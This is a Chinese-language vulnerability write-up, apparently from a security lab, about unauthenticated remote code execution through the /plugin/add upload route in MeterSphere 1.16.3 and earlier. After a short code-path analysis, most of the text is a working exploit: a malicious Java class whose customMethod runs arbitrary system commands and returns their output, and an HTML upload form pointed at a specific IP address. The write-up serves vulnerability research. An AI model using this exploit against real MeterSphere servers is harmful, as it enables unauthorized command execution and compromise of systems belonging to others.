0x01 代碼分析
版本<=1.16.3
檢視修複日志
https://github.com/metersphere/metersphere/pull/9135/commits/9927d2c587a2b388ee5d633f6cc31346df4415de

将/plugin/** 這個路由的未授權删除了,全局搜尋/plugin定位到功能代碼
跟進add方法中的pluginService.editPlugin(file)
跟進
在loadJar方法中使用URLClassLoader來加載jar包,将jar包的類加載進來;
然後我們可以看到io.metersphere.controller.PluginController#customMethod中隻有一行代碼;
return luginService.customMethod(request)
跟進去
會調用指定類的customMethod方法,我們可以寫一個惡意類然後定義一個
customMethod然後來調用他
0x02 漏洞利用
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class hackx {
public void init(){
System.out.println("init Inject success");
}
public StringcustomMethod(String cmd) throws IOException {
InputStream in = newProcessBuilder(cmd).start().getInputStream();
ByteArrayOutputStream baos =new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) !=-1) {
baos.write(b, 0, a);
}
return newString(baos.toByteArray());
}
}
編譯後打包為jar
建立檔案上傳表單
<!DOCTYPE html>
<html>
<body>
<form action="http://101.43.71.57:8081/plugin/add"method="POST" enctype="multipart/form-data">
<!-- <input type="hidden"name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />-->
<input type="file" name="file" />
<input type="text" name="UploadType"value="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
傳上去後,調用customMethod方法,執行指令
0x03 記錄
classloader 與 Class.forname的差別:
https://blog.csdn.net/wt520it/article/details/83014038
該處也可以将惡意代碼寫入到static代碼塊中,但仍需要利用customMethod來觸發代碼塊中代碼。
通過class.forname觸發
聲明
以上内容,均為文章作者原創,由于傳播,利用此文所提供的資訊而造成的任何直接或間接的後果和損失,均由使用者本人負責,長白山攻防實驗室以及文章作者不承擔任何責任。
長白山攻防實驗室擁有該文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的副本,包括版權聲明等全部内容。聲明長白山攻防實驗室允許,不得任意修改或增減此文章内容,不得以任何方式将其用于商業目的。